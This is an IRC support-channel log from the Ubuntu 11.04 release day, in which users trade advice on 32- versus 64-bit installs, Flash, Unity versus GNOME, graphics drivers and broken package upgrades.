[12:39] <obengdako> jrib, thanks that is a good question do you use 64bit yourself
[12:39] <jrib> obengdako: I've used 64bit for years, yes
[12:39] <velcroshooz> obengdako, lib32 stuff in a 64 bit system is multilib, which should work fine.
[12:40] <rapha> the ISOs uploaded a couple of hours ago, are they "it"?
[12:40] <^Phantom^> i haven't tried that way yet, to see if it happens there
[12:40] <algert> anyone using ubuntu on virtual machine?
[12:40] <jrib> mythri: I don't follow what you are saying
[12:40] <obengdako> jrib, i may still have to download 32bit because i run installations for friends who come with varied machines
[12:40] <jrib> eltigre: prefix your command with "LANG=C" and pastebin
[12:40] <jatt> rapha: yes
[12:40] <mtlife> i cant speak
[12:40] <jiltdil> is it better to run 32 or 64 bit if my hardware supports 64?
[12:41] <mtlife> in ubuntu+1
[12:41] <jrib> obengdako: hmm, not sure what "run installations for friends" means
[12:41] <obengdako> jrib, is there a way to change to 64bit on a 32bit machine maybe a kernel change?
[12:41] <Incarus6> 32bit is allways better
[12:41] <jrib> jiltdil: how much ram do you have?
[12:41] <mythri> jrib, my ubuntu works no more and tried doing back of ubuntu files from diskinternals software i got a file called ROOT.DISK will it have all my documents and files in it?
[12:41] <jiltdil> jrib:4gb
[12:41] <jrib> obengdako: no, you'd have to reinstall
[12:41] <eltigre> jrib, hm it's about python packages... wait a moment
[12:41] <jrib> jiltdil: use 64bit
[12:41] <rapha> jatt: thanks! ... because the homepage of the website has been changed only now
[12:41] <velcroshooz> obengdako, that would require a reinstall
[12:41] <jiltdil> jrib:ok
[12:41] <chazwoza> use 64-bit
[12:41] <KM0201> Incarus6: i wouldn't say "always" better but there's circumstances where its better
[12:41] <jrib> mythri: ah, I do not know
[12:41] <obengdako> i mean people get their cds from me jrib
[12:41] <jrib> obengdako: you mean CDs with packages?
[12:42] <Incarus6> jiltdil, 32bit got a better hardware support, things like flash won't work with 64bit properly
[12:42] <zvacet> ^Phantom^: sorry I was not much of help all the best with game
[12:42] <mythri> my ubuntu works no more and tried doing back of ubuntu files from diskinternals software i got a file called ROOT.DISK will it have all my documents and files in it? i want to do a reinstall of ubuntu..does anyone knows it? please help me i m new to ubuntu
[12:42] <^Phantom^> zvacet, so far no crash yet, playing locally
[12:42] <eltigre> jrib: http://pastebin.com/jqReU10t
[12:42] <jrib> flash works fine on 64bit
[12:42] <KM0201> Incarus6: its been a long time since flash didnj't work properly w/ 64bit... it works fine now
[12:42] <obengdako> velcroshooz, jrib then hmmmm i guess this year i'll be selfish and download for just my machine any 32bit guy can't use my cd now
[12:42] <padi999_> Ah, it looks as if I have this bug :) https://bugs.launchpad.net/ubuntu/+source/gnome-nettool/+bug/709945
[12:42] <ubottu> Ubuntu bug 709945 in gnome-nettool (Ubuntu) "Ping does not work in network Tools" [Undecided,New]
[12:42] <kellnola> 64bit hasn't had those problems in a long time
[12:42] <there> so
[12:42] <eltigre> is flash really supposed to work fine on ubuntu?
[12:42] <rgr> someone told me 64 bit was 100% as good as 32 bit. Is that not true?
[12:43] <there> unity was slow
[12:43] <jiltdil> Incarus6:ok thanks any way to make it better "flash' to work fine in 64bit
[12:43] <eltigre> I'm always getting like 100% cpu usage from literally  nothing
[12:43] <jrib> eltigre: « apt-cache policy python »  Where did this strange python version come from?
[12:43] <there> anyone else find unity kinda slowish?
[12:43] <jaredquinn> there: really?
[12:43] <jrib> rgr: it's true
[12:43] <there> yea
[12:43] <kellnola> eltigre, yes flash player works fine
[12:43] <Incarus6> KM0201, I can see still today a lot of 64bit related issues, were is no reason to change to 64bit (except the unix-time-problem)
[12:43] <eltigre> jrib, I have no idea
[12:43] <thegoodcushion> jaredquinn: I reckon I'll just ask periodically here to see what people are experiencing.  I can't seem to find up to date info online
[12:43] <there> jaredquinn: noticeably slower
[12:43] <jaredquinn> there: something wrong there then.. it's designed to be fast and lightweight, which is my experience so far.
[12:43] <jrib> eltigre: what does that command return?
[12:43] <rgr> jrib: not according to jus about every google I have done. Wishful thinking.
[12:43] <there> hmm
[12:43] <[deXter]> Hi all, how can I tell if this ubuntu ISO I downloaded is 32 or 64 bit?
[12:43] <KM0201> there: for me it was... but i'm running 11.04 on an ancient machine.. i just switched to xfce.. i knew that change would come about eventually
[12:43] <jatt> very slow
[12:43] <there> well it's not like really lagging or anything
[12:43] <buzzkill> what is the iso name deXter
[12:43] <jrib> rgr: flash works as fine for me as it does on 32bit or on windows.  I don't know...
[12:43] <Incarus6> eltrige, the latest flash version uses the experimental hardware acceleration, that could causes trouble
[12:43] <zvacet> ^Phantom^: well it is something
[12:44] <jaredquinn> there: so what was slow?
[12:44] <buzzkill> i386 = 32bit
[12:44] <[deXter]> buzzkill: lubuntu-10.10.iso
[12:44] <KM0201> Incarus6: there's no way you can make such a general statement ilke that, and it even be remotely accurate.
[12:44] <kellnola> [deXter], run "file" against any binary on it
[12:44] <KM0201> surely you realize that
[12:44] <[Soma]> hey... I just got up and had 47 updates, one of them being "libkmediaplayer4", and my updating process stopped with "preparing libkmediaplayer4". it's been like that for about 10 minutes. what do I do?
[12:44] <rgr> jrib: works for you. ok. Well the facts are that it doesnt for many others. And to say otherwise is misleading and dishonest.
[12:44] <intruder> hello
[12:44] <jrib> !md5sums | [deXter]
[12:44] <ubottu> [deXter]: See https://help.ubuntu.com/community/UbuntuHashes for the md5sums of Ubuntu discs.
[12:44] <there> it was sort of..hmm.. i kinda have to log back into it and check again
[12:44]  * KM0201 is just glad VLC is finally fixed
[12:44] <[deXter]> None of this is of any help ... the lubuntu CD doesn't have an md5 listed on that page
[12:44] <eltigre> jrib, http://dpaste.com/536729/
[12:44] <jrib> rgr: I don't believe that's the fact.  Flash can be installed and works as fine as flash generally works (hogs cpu, etc)
[12:45] <rgr> nonsense
[12:45] <[deXter]> and the file command won't tell if the ISO contains a 64 or 32bit binary..
[12:45] <DarkStar1> I installed openldap (or at least I think I did) using apt-get but there is no slapd.conf file in the /etc/ldap directory is this normal?
[12:45] <kellnola> [deXter], try what I said
[12:45] <there> i installed gnome 3. it's a bit faster
[12:45] <jaredquinn> there: i've had other issues with it.. but speed hasn't been one of them.   It hasn't been terribly stable through the Natty testing phase.
[12:45] <jrib> rgr: which part is nonsense?
[12:45] <jiltdil> jrib:is there a flash issue in 64bit?
[12:45] <jaredquinn> there: wow..  that's kind of unexpected.. seeing gnome's been slow forever.
[12:45] <[deXter]> kellnola: I did, it just says that it's a bootable ISO.
[12:45] <there> jaredquinn: that's interesting. not sure what's going on here then :|
[12:45] <rgr> about everything you have said. It does not work fine for everyone. And a prooerly configured flash should NOT hog the cpu.
[12:45] <JR0cket1> jiltdil: no more than in 32bit :-)
[12:45] <jrib> eltigre: you have to figure out where that unofficial version of python came from and downgrade back to the official ubuntu version
[12:46] <kellnola> [deXter], mount the iso, and run "file" against any binary WITHIN it
[12:46] <jiltdil> JR)cket1:   :-)
[12:46] <eltigre> jrib, I have a few ppas...
[12:46] <JR0cket1> :-)
[12:46] <exalt> how can i make a bootable usb the best way ?
[12:46] <rgr> even a cursory google shows there to be hundreds if not thousands of people with Flash issues in 64 bit and/or Ubuntu in general. Frequently down to video drivers and xorg configs.
[12:46] <jiltdil> exalt:unetbootin
[12:46] <[deXter]> kellnola: Well nvm, I just looked inside the iso and all the binaries had a _i386 appended to it
[12:46] <[deXter]> :)
[12:46] <jaredquinn> there: my guess would be it would be a video driver issue then..   maybe some software assisted rendering going on or something?
[12:46] <kellnola> exalt, startup disk tool
[12:46] <jrib> rgr: well maybe you misinterpret what I mean by fine.  By "fine" I mean it is usable.
[12:46] <rgr> For you.
[12:46] <rgr> Not for many others.
[12:46] <there> jaredquinn: that's what i was suspecting too
[12:46] <velcroshooz> even on windows flash is a resource hog, so i agree with what jrib says. the issue is whether it is -more- resource intensive than suual
[12:46] <jrib> rgr: for everyone.
[12:46] <jaredquinn> there: did you try unity-2d
[12:46] <there> not yet.
[12:46] <rgr> Why do you continue to talk nonsense. It does not work "fine" for everyone.
[12:47] <kellnola> velcroshooz, yes, flash is kinda shitty, but it does work
[12:47] <exalt> jiltdil: unet bootin makes an stdin: error:0 error kellnola startup disk tool i dont know yet, lets have a look
[12:47] <bazhang> rgr, thats enough please
[12:47] <jrib> rgr: point me to a bug
[12:47] <rgr> And flash works fine on some linu distros and not on others.
[12:47] <rgr> jrib: are you being serious? Even people in this irc channel have reported issues. 2 fps is NOT "running fine".
[12:47] <jaredquinn> I was an icewm user for years because gnome and kde were both too bloated..  kind of happy that people are now finally seeing that a desktop environment doesn't need to get in your way
[12:47] <kellnola> exalt, "System Tools -> Startup Disk Creator"
[12:48] <jatt> rgr: 64bit is a pain in the neck for the desktop. it is excellent for servers running huge applications but for the desktop the wise thing to do is to install 32bit
[12:48] <exalt> kellnola: im on windows
[12:48] <Incarus6> jatt, I agree here
[12:48] <jaredquinn> jatt & rgr..  I agree...
[12:48] <eltigre> jrib: downgrading would basically deinstall most of the software I use, like firefox and gimp
[12:48] <edheldil> Hi all, after a (seeminglly harmless) upgrade of Lucid kvm-qemu package to 0.12.3+noroms-0ubuntu9.5, the VMs do not open VNC ports, not even from monitor console, regardless of port number. VMs otherwise run normally. Has anyone encountered this?
[12:48] <txomon> so anyone knows about
[12:48] <rgr> jatt: yes, thats more my opinion. But I dont see the need for msot people to use 32 bit. It can often hog more resources with no notable performance increase too.
[12:48] <jrib> I disagree. There's no reason not to use 64bit on the desktop if your hardware handles it
[12:48] <txomon> a plugin in which you have a local cache copy of the server files you open, and while edditing them, changes are stored in cache
[12:48] <rgr> s/32/64
[12:48] <kellnola> no probs with 64 bit on desktop here. Would not be able to use my 16GB of memory without it
[12:48] <rgr> if you really need 16 gigs then yes
[12:49] <kellnola> I run a lot of VMs
[12:49] <rgr> then it makes sense.
[12:49] <scarra3> My processor is an AMD Athlon x2 2.2 GHz dual core should I go for the x64 version of 11.04?
[12:49] <jaredquinn> kellnola: then it's NOT a desktop
[12:49] <konaya> Could someone fix the goof on the front page? They call Ubuntu "license-free", and it is not.
[12:49] <kellnola> jaredquinn, of course it is
[12:49] <jrib> eltigre: you need to remove that unofficial version of python
[12:49] <jatt> rgr: you are right, but for organizations is not rare to see servers running 64bit because their java "enterprise" applications require 64GB of ram :)
[12:49] <rgr> jaredquinn: huh? Of course it is.
[12:49] <jrib> scarra3: how much ram
[12:49] <kellnola> jatt, LOL. yes
[12:49] <guampa> scarra3: how much ram do you have?
[12:49] <scarra3> jrib: 4 GB
[12:50] <jrib> scarra3: use 64bit
[12:50] <jaredquinn> kellnola: if you're running a heap of virtual machines on it.. then it's a server, and the service it's serving up is machines.\
[12:50] <guampa> yeah, go with 64
[12:50] <there> jaredquinn: i suppose i'll install unity 2d and try it out.
[12:50] <scarra3> jrib: And how do I install drivers for my graphics card its an ATI Mobility Radeon HD 4250
[12:50] <kellnola> jaredquinn, it's a computer.
[12:50] <jrib> !ati | scarra3
[12:50] <ubottu> scarra3: For Ati/NVidia/Matrox video cards, see https://help.ubuntu.com/community/VideoDriverHowto
[12:50] <Incarus6> scarra3, Im using 32bit with PAE -> better compatibility
[12:50] <rgr> this machine is 64 bit and is 4 years old with 3 gigs. Cant imageine ever needing more ram on it with a Debian install but then I dont run VMs that often.
[12:50] <crashanddie> So, how do we get rid of Unity?
[12:50] <phoque_uni> I've really grown fond of removing the lower panel and installing Docky
[12:50] <crashanddie> maybe I should just install debian.
[12:50] <phoque_uni> granted, very OSX-like
[12:51] <phoque_uni> but that was unity too anways
[12:51] <Incarus6> crashanddie or gnome or another desktop
[12:51] <kellnola> crashanddie, the new debian is pretty awesome
[12:51] <txomon> so anyone knows about an editor in which you have a local cache copy of the server files you open, and while edditing them, changes are stored in cache?
[12:51] <rgr> Whats the general feeling about Unity? Is it easy to turn off?
[12:51] <jaredquinn> crashanddie: if you *really* want to.. at the login prompt... you just select "Classic"
[12:51] <there> i kind of like the look and feel of gnome 3 though. although that might just be the novelty of it.
[12:51] <zvacet> scarra3: trx from system>admin<additional drivers
[12:51] <lucas> #btrfs
[12:51] <velcroshooz> crashanddie, there is an option when booting to choose ubuntu classic instead
[12:51] <jatt> crashanddie: I think you can chose a gnome session instead of a unity session on login, don't give up so fast (I know unity sucks tho)
[12:51] <rgr> unity is gnoe isnt it?
[12:51] <jatt> nope
[12:51] <jrib> rgr: you select "classic desktop" at the login screen to turn it off
[12:51] <velcroshooz> rgr, no
[12:51] <Incarus6> rgr, it isnt
[12:51] <crashanddie> well, gnome 3 sucks, and unity is horrendous.
[12:51] <crashanddie> I can't see the future getting better at this point.
[12:51] <rgr> I thought it was a new WM for gnome. Oh well!
[12:51] <Incarus6> rgr, its an own developement of canonical
[12:51] <scarra3> zvacet: Ok awesome thanks now I hope that my touchpad will finally work since it didn't work in 10.10
[12:52] <kellnola> crashanddie, oh well, back to windowmaker
[12:52] <Sidewinder1> Would anyone be kind enough to provide the md5sum hash for the released i386 desktop 11.04 or a link to same? TIA
[12:52] <Incarus6> crashaddie, Im using KDE ;)
[12:52] <jatt> canonical wanted unity and gnome but gnome guys were against it (you know why once you see unity)
[12:52] <rgr> crikey. How ridiculous. A whole new DE? Are they releasing their own desktop apps as well?
[12:52] <jatt> s/and/in
[12:52] <jaredquinn> jatt: it's not just about the look of it either
[12:52] <crashanddie> kellnola, or I'll fork gnome2 and keep maintaining it :)
[12:52] <kellnola> unity looks like it is meant for a touchscreen to me
[12:52] <velcroshooz> all new UI take time for them to mature, when kde 4 started everyone hated it, it has come around, grnome 2.x has had -years- of dev ..
[12:52] <Incarus6> rgr, correct
[12:52] <rgr> eek
[12:53] <damicita> why you think that unity is bad ?
[12:53] <jaredquinn> jatt: it's designed with a slightly different appraoch to how a desktop environment should hang together, and ultimately you will have gnome, kde and other apps all running happily under it, rendering their bits the right way, sending notifications to teh right places and everything being magical.
[12:53] <Incarus6> jatt, Im going to test unity in a couple of minutes. but im not sure about unity. I got a proprietary graphic card driver
[12:53] <th^^> crashanddie: just select 'Ubuntu Classic' in the login screen...
[12:53] <jaredquinn> damicita: I don't.. I love it.
[12:53] <jatt> yeah but canonical doesn't have the resources to maintain unity in the long term, gnome can be hated but they have lots of experience and developers on their side
[12:53] <th^^> but yes, it's easier to go emo about unity and install debian than click one dropdown...
[12:53] <karlhunt> You can still start in gnome by choosing ubuntu classic at login
[12:53] <jaredquinn> damicita: but only because i've been digging around deep within it for a few weeks
[12:53] <Incarus6> damicita, no support for proprietary graphic cards
[12:53] <zvacet> scarra3:  np I hope it will work
[12:53] <eltigre> jrib: hm... another stupid question, I tried to do that with synaptic but I can't actually perform the action because it says I have to repair defective packages
[12:53] <rgr> jaredquinn: it will mother all the different DE apps to look and life the same? Ha. I will believe that when I see it.
[12:53] <rgr> s/life/feel
[12:53] <damicita> oh ...
[12:54] <scarra3> zvacet: Ya its an alps touchpad on my sony vaio
[12:54] <g4> is it easy to test unity and then turn it off?
[12:54] <jaredquinn> g4 YES
[12:54] <Sandeep_Kr_FOSS> So Ubuntu 11.04 has been released, a big THANK YOU to all the devs and contributors! :)
[12:54] <g4> jaredquinn: link?
[12:54] <thien> what is the fastest download accelerator for ubuntu?
[12:54] <Incarus6> g4, repos
[12:54] <g4> ty
[12:54] <scarra3> Btw do the torrents work yet
[12:54] <jaredquinn> g4: read above
[12:54] <jaredquinn> g4: you just select CLASSIC at the login prompt
[12:54] <jaredquinn> g4: and you get gnome\
[12:54] <Incarus6> g4, http://packages.ubuntu.com/natty/unity
[12:54]  * rgr predicts unity will produce yet another incompatible suite of apoplication setting repositories and people will get very frustrated ...
[12:54] <g4> ahh great :)
[12:54] <jaredquinn> FFS
[12:54] <jaredquinn> Read the doco people.
[12:54] <zvacet> eltigre:  in synaptic fix broken packages
[12:54] <g4> <3 Ubuntu!
[12:55] <eltigre> zvacet, won't work
[12:55] <edheldil> Hi all, after a (seeminglly harmless) upgrade of Lucid kvm-qemu package to 0.12.3+noroms-0ubuntu9.5, the VMs do not open VNC ports, not even from monitor console, regardless of port number. VMs otherwise run normally. Has anyone encountered this?
[12:55] <ikonia> jaredquinn: easy on the language please
[12:55] <jaredquinn> ... and please give unity a chance.. and not just for five mintues.
[12:55] <eltigre> but I think I found a way now
[12:55] <jbache> any UDS organizers here?
[12:55] <zetheroo> sigh .... thought there would be at least 2000 ppl in here ...
[12:55] <rgr> ikonia: what are you talking about? He didnt swear.
[12:55] <SuperRoach> disappointed?
[12:55] <jatt> ultimately unity will die if they don't provide software that pleases the user
[12:55] <ikonia> rgr: yes he did
[12:55] <rgr> No he didn't.
[12:55] <jatt> no matter how smart their idea/architecture is
[12:55] <simion314> i get a strange bug, during boot my keyboard led is turning off and nothing will happen,if i press the power button the keyboard led will turn on and the bott continue
[12:55] <zvacet> eltigre:  in terminal   sudo dpkg --configure -a    sudo apt-get -f install
[12:55] <fix> woot woot in the boot
[12:56] <bazhang> rgr, lets move on
[12:56] <eltigre> zvacet, thanks
[12:56] <Eduard> Hell guys
[12:56] <jaredquinn> good idea..  I didn't literally swear, but the implication was definitely carried in what i said.  So you are both right.
[12:56] <Incarus6> did he say "hell"?
[12:56] <rgr> ban him! ;)
[12:56] <zetheroo> are there any known chipsets that are buggy with Unity?
[12:57] <velcroshooz> not important
[12:57] <zvacet> eltigre: np
[12:57] <rgr> why would chipsets be buggy with unity?
[12:57] <DirtyDawg> wow i am getting slow speed on the new release downloading
[12:57] <CVirus> What's Narwhal in Arabic :-D ?
[12:57] <Dr_Willis|2> they would be buggy with compiz :)
[12:57] <Incarus6> zetheroo, yes, all proprietary graphic cards arent supported in unity-3D
[12:57] <Eduard> Does anybody know, if the nasty broken dependencies on nvidia-96 drivers was fixed with 11.04?
[12:57] <kellnola> rgr, 'cause unity requires 3D
[12:57] <rgr> DirtyDawg: thats a surprise on release day.
[12:57] <jaredquinn> zetheroo:  Unity can't casuse you issues with teh chipset...
[12:57] <DirtyDawg> hehe
[12:57] <zetheroo> rgr: or Unity being buggy with chipsets ...
[12:57] <jatt> there is unity-2d
[12:57] <karlhunt> Im running sandy bridge which works ok but graphics is poor. 2d support only
[12:57] <karlhunt> lots of tearing etc
[12:57] <jaredquinn> zetheroo: but.. there has been a few issues with the Intel lappy chipsets .. but they have been a kernel issue.
[12:57] <zetheroo> Incarus6: Intel?
[12:57] <Eduard> Does anybody know, if the nasty broken dependencies on nvidia-96 drivers was fixed with 11.04?
[12:57] <rgr> karlhunt: which drivers?
[12:57] <Incarus6> karlhunt, did you try the latest manline kernel?
[12:57] <karlhunt> default
[12:58] <zetheroo> jaredquinn: darn .. that is too bad
[12:58] <vega> !repeat | eduard
[12:58] <Incarus6> zetheroo, intel drivers arent proprietary, as I remember
[12:58] <ubottu> eduard: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[12:58] <CVirus> الناروال الأنيق ؟
[12:58] <rgr> Eduard: nvidia issues? have you used sgfxi?
[12:58] <karlhunt> Incarus6, I just keep up to date with the ubuntu kernel
[12:58] <Eduard> rgr: sec
[12:58] <karlhunt> is there a more upstream one?
[12:58] <g4> so how is unity compared to docky? Is it a step forward or something different?
[12:58] <jatt> g4: is crap compared to gnome do
[12:59] <MaRk-I> !arabic | CVirus
[12:59] <ubottu> CVirus: For Arabic language support, please : /join #ubuntu-arabic : للحصول على الدعم باللغة العربية
[12:59] <zetheroo> I have a laptop with an Intel gfx chipset ... I would rather not upgrade only to find out the 3D Unity doesn't work ...
[12:59] <Eduard> rgr: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-96/+bug/741930
[12:59] <rgr> There is a terrible tendency for those that offer the least help in this group to be the ones popping in with the most net nannying. Its very sad.
[12:59] <ubottu> Ubuntu bug 741930 in nvidia-graphics-drivers-96 (Ubuntu) "[natty] nvidia binary packages for older cards - dependencies not met" [Undecided,Confirmed]
[12:59] <Eduard> rgr: no updates on it for quite a while
[12:59] <Incarus6> zetheroo, otherwise try unity-2D
[12:59] <karlhunt> zetheroo, unity worked on my old gma intel chipset but sandy bridge has a new one.
[12:59] <Incarus6> karlhunt, are you using 11.04?
[12:59] <zetheroo>  Incarus6: but I REALLY want the 3D :)
[12:59] <karlhunt> Incarus6, yup
[13:00] <Incarus6> karlhunt, Im not sure about the kernel version, what was it again in Natty?
[13:00] <rgr> Eduard: I had issues with liquorix kernels with nvidia too. I dropped the liquorix usage as a result.
[13:00] <karlhunt> Incarus6, been running beta for a few weeks and did a dist-upgrade last night
[13:00] <jaredquinn> zetheroo: what chipset are you on?
[13:00] <zetheroo> karlhunt: mine is Intel Corporation Mobile GM965/GL960
[13:00] <karlhunt> Incarus6, 2.6.38-8-generic
[13:00] <rgr> Intel graphics?
[13:01] <tomasz> it will be google-earth on ubuntu 11.04 ?
[13:01] <rgr> good luck with that..
[13:01] <zetheroo> jaredquinn: GM965/GL96
[13:01] <Incarus6> karlhunt, yeah, that looks actual. I read something about the sandy bridge drivers in the changelog. cant remember if it was 2.6.38 or 2.6.39
[13:01] <karlhunt> I think my chip is an intel hd3000 whatever that is
[13:02] <zetheroo> how do I know if mine is a "sandy bridge" chipset?
[13:02] <Incarus6> zetheroo, I wasn't talking to you?
[13:02] <jaredquinn> zetheroo: is that the same driver as the i915 / Arrandale?
[13:02] <genupulas> hi friends ...we all know that ubuntu partitions are going to be mounted without any password . but i wanna make some security to my harddisk partitions while mounting them . so can any one help me to solve this problem
[13:03] <jaredquinn> zetheroo: I think it is.
[13:03] <Incarus6> dammit, I can't upgrade
[13:03] <zetheroo> zetheroo: you asked me what my chipset was ...
[13:03] <jaredquinn> zetheroo: my problem is only when the screen is coming back after a hibernate
[13:03] <LjL> genupulas: you'd have to encrypt them, i don't think it's entirely trivial
[13:03] <vibhav> offically realesed now?
[13:03] <LjL> vibhav: yes
[13:03] <bazhang> vibhav, yes
[13:03] <genupulas> LjL:  how can i do that
[13:03] <Eduard> guys, where do i find 11.04 release notes?
[13:03] <zetheroo> jaredquinn: ok ... well I don't hibernate my machine ...
[13:03] <karlhunt> zetheroo, did you buy it in the last 2 months and is it core i5/i7 if not then unlikely
[13:03] <tomasz> jaredquinn try 2 times press change screen on keyboard
[13:03] <vibhav> OK!
[13:04] <tomasz> Fn + F4 i have
[13:04] <zetheroo> karlhunt: hehe ... ok ... nah this is an R61 Thinkpad ... C2D
[13:04] <tomasz> screen back
[13:04] <karlhunt> zetheroo, your graphics will be fine
[13:04] <zetheroo> cool
[13:04] <zetheroo> then I am really tempted to upgrade :)
[13:04] <padi999_> Can anyone give me a decent network traffic controller (ping and alerts if rtt reaches a certain #ms) with graphic UI preferably? The built in NM in ubuntu 10.10 does not work. Thank you for your appreciation.
[13:04] <genupulas> LjL:  now i am doing in my college system .do i have any links for this . i
[13:05] <LjL> genupulas: i can't point you to a specific document because help.ubuntu.com has a few of them and i honestly don't know which ones are currently recommended. try skimming through the stuff at http://www.google.com/search?q=encrypt+partitions+site:help.ubuntu.com
[13:05] <Incarus6> whooot, I cant upgrade :D can someone have a look: http://pastebin.com/ac3tH5g5
[13:05] <jaredquinn> zetheroo: just do it :)
[13:05] <jaredquinn> zetheroo: I've been running it for a couple of weeks.. and not had any major issues
[13:05] <zetheroo>  jaredquinn: they always say that ... .
[13:05] <genupulas> LjL:  cool , i hope ubuntu forums can solve this . ....any way thanks man
[13:06] <MaRk-I> !encryption | genupulas
[13:06] <ubottu> genupulas: For information on setting up encrypted private directories (8.10+) see https://help.ubuntu.com/community/EncryptedPrivateDirectory
[13:06] <kellnola> zetheroo, yeah, if all you use the computer for is web browsing and irc ... I am frankly horrified about video editing. 10.10 is bad enough
[13:06] <genupulas> MaRk-I:  thank you man
[13:06] <jaredquinn> Incarus6: you've a bunch of stuff installed from other repos?   I'm guessing maybe Ubuntu Studio?
[13:07] <zetheroo>  jaredquinn: ok ... here goes everything ... ;)
[13:07] <Incarus6> jaredquinn, yeah.. but not ubuntu studio... any idea how I can upgrade? (or which package that causes? (maybe xorg))
[13:08] <zetheroo> kellnola: I do a bit more than browsing and irc ... but no production level stuff
[13:08] <genupulas> MaRk-I:  that is great . i hope this can solve my issue .
[13:08] <jaredquinn> icewaterman: how did you start your upgrade?
[13:08] <MaRk-I> genupulas: yw, good luck
[13:08] <avij> hi, can someone please point me to an Ubuntu mirror that is a) accessible with rsync and b) carries the .iso images and c) is located somewhere in Europe. I'd like to conserve some bandwidth by rsyncing from the beta2 .iso images that I already have.
[13:08] <Incarus6> jaredquinn, line 588 could cause that problem
[13:08] <falxx> do-release-upgrade tells me that I can't upgrade, I believe that's because I've installed kde from ppa on my current system.. what's the way forward from there?
[13:09] <kellnola> falxx, I would remove any ppa's before upgrading. and remove the software first
[13:09] <Incarus6> falxx, isnt related with the KDE ppa
[13:10] <jaredquinn> icewaterman: did you answer how you kicked that upgrade off?
[13:10] <falxx> incarus6: oh, well, may be virtualbox then?
[13:10] <Incarus6> falxx, pls paste /var/log/dist-upgrade/ files
[13:10] <zvacet> Incarus6:  try apt-get -f install
[13:11] <zvacet> Incarus6: sudo apt-get -f install
[13:11] <benovic> HI Guys, I get strange outbound connections from unison-gtk, e.g. to 209.85.149.102 (google). Its firestarter displaying me these connections. Can somebody explain what happens?
[13:11] <Incarus6> zvacet, isn't working (it is working but doesnt fix it), because all dependencies are correct. it seems to be a too new xorg version, so I have to fix it by hand
[13:11] <velcroshooz> can anyone running 11.04 confirm the seperate wallpaper for dual monitor bug is gone? in 10.10 you need to ctrl alt f7 /ctrl alt f1 for it to work
[13:12] <zvacet> Incarus6:  ok then I didn' try natty yet
[13:12] <Incarus6> zvacet, im still in 10.10
[13:12]  * AdmV0rl0n hates unity :/
[13:12] <jaredquinn> Incarus6: did you do a update-manager and then let it handle all the other bits?
[13:12] <jaredquinn> AdmV0rl0n: why?
[13:13] <Incarus6> jaredquinn, yes. did you look at line 588?
[13:13] <karlhunt> When my screen dims it lags coming back out. Im going to try an upstream kernel
[13:14] <jaredquinn> Incarus6: the one that says   Fixing mountall:i386 via keep of plymouth:i386
[13:14] <Incarus6> jaredquinn, http://pastebin.com/ac3tH5g5 no
[13:16] <obscurant1st> apt-get dist-upgrade is it enough for updating my beta natty to the final release?
[13:16] <jaredquinn> obscurant1st: should be
[13:16] <ashmew2> if you need to do it cli-based try do-release-upgrade (should be in the package update-manager-core)
[13:17] <obscurant1st> ashmew2, do-release-upgrade ?
[13:17]  * ugisozols starting upgrade
[13:17] <ashmew2> yeah
[13:17] <Incarus6> this **** log files doesnt tell me anything :D
[13:17]  * ashmew2 starting upgrade. :)
[13:17]  * Incarus6 starting fixing
[13:17] <jaredquinn> ashmew2:  he is already running the 11.04 beta
[13:17] <falxx> icarus6: allright, pasting 1450 lines
[13:17] <zvacet> ashmew2:  he is upgrading from beta so there is no need for that
[13:18] <ashmew2> jaredquinn: OH !. i must have overlooked
[13:18] <ashmew2> sorry
[13:18] <ashmew2> =/
[13:18] <ashmew2> sudo apt-get dist-upgrade
[13:18] <obscurant1st> so apt-get dist-upgrade is fine?
[13:18] <Pici> obscurant1st: yes
[13:18] <ashmew2> yes. (lol...)
[13:18] <zvacet> ashmew2:  ;)
[13:18] <obscurant1st> and btw is there anyway I can check if its final?
[13:18] <falxx> Incarus6: http://paste.ubuntu.com/600238/ - quite broken I would think
[13:18] <Incarus6> falxx, link?
[13:18] <obscurant1st> final release*
[13:19] <ashmew2> zvacet :: hehe :P
[13:19] <zvacet> lsb_release -a
[13:19] <AdmV0rl0n> jaredquinn: there isn't even one likeable aspect to unity. not for me anyway. don't worry, I feel the same about gmone3 also. I have no idea what the UI designers think they are doing, but they are not building anything of value.
[13:19] <mithran> hi all, is there a good application i can use to keep track of tasks, with that minimizes to the tray maybe?
[13:19] <obscurant1st> zvacet, thanks
[13:19] <Incarus6> falxx, look at line 438
[13:19] <edheldil> Hi all, after a (seeminglly harmless) upgrade of Lucid kvm-qemu package to 0.12.3+noroms-0ubuntu9.5, the VMs do not open VNC ports, not even from monitor console, regardless of port number. VMs otherwise run normally. Has anyone encountered this?
[13:19] <zvacet> obscurant1st: yw
[13:19] <genupulas> falxx how u guys are going to analyse this much ....where is the mistake ?
[13:20] <Incarus6> genupulas, he cant upgrade
[13:20] <bencc> is it ok to create a user with name "user" ?
[13:20] <Guest7243> hello, is there any website about unity?
[13:20] <kellnola> bencc, yes but it isn't very useful
[13:20] <falxx> Incarus6: yeah, and then 200 more of those.. uninstall all packages marked as broken?
[13:20] <bencc> kellnola: why not?
[13:20] <Soothsayer> Guest7243: what about it ?
[13:21] <genupulas> Incarus6:  how  can you say that  ? how you have analysed that
[13:21] <zvacet> bencc:  name it as you wish
[13:21] <velcroshooz> bencc, sure why not.
[13:21] <Incarus6> falxx, are you sure, tha package "amd64" is in the repo? that package seems to be the reason
[13:21] <henux> hi
[13:21] <Soothsayer> why is the ubuntu website broken ?
[13:21] <jatt> Guest7243: -> https://bugs.launchpad.net/unity/+bug/648180
[13:21] <Guest7243> Soothsayer: so I can check out some screenshots or videos? :)
[13:21] <ubottu> Ubuntu bug 648180 in unity (Ubuntu) "Unity sucks" [Undecided,Opinion]
[13:21] <henux> quup: hi
[13:21] <Incarus6> genupulas, he said it isn't working, wer are analysing the log files now
[13:21] <quup> henux: hello
[13:21] <falxx> Incarus6: "ure"?
[13:21] <Soothsayer> Guest7243: omgubuntu.co.uk/natty/
[13:21] <bencc> zvacet: velcroshooz:  I thought there is a reserved name or something
[13:21] <quup> Soothsayer: because no one could have predicted the extra traffic today :p
[13:21] <Incarus6> falxx, "ure"?
[13:21] <kellnola> bencc, well, if everyone did that ...
[13:22] <Guest7243> Soothsayer: thanks!
[13:22] <falxx> Incarus6: ure [ amd64 ] it says
[13:22] <velcroshooz> bencc, dont name another one root, thats about it
[13:22] <zvacet> Soothsayer:  overloaded probably  :)
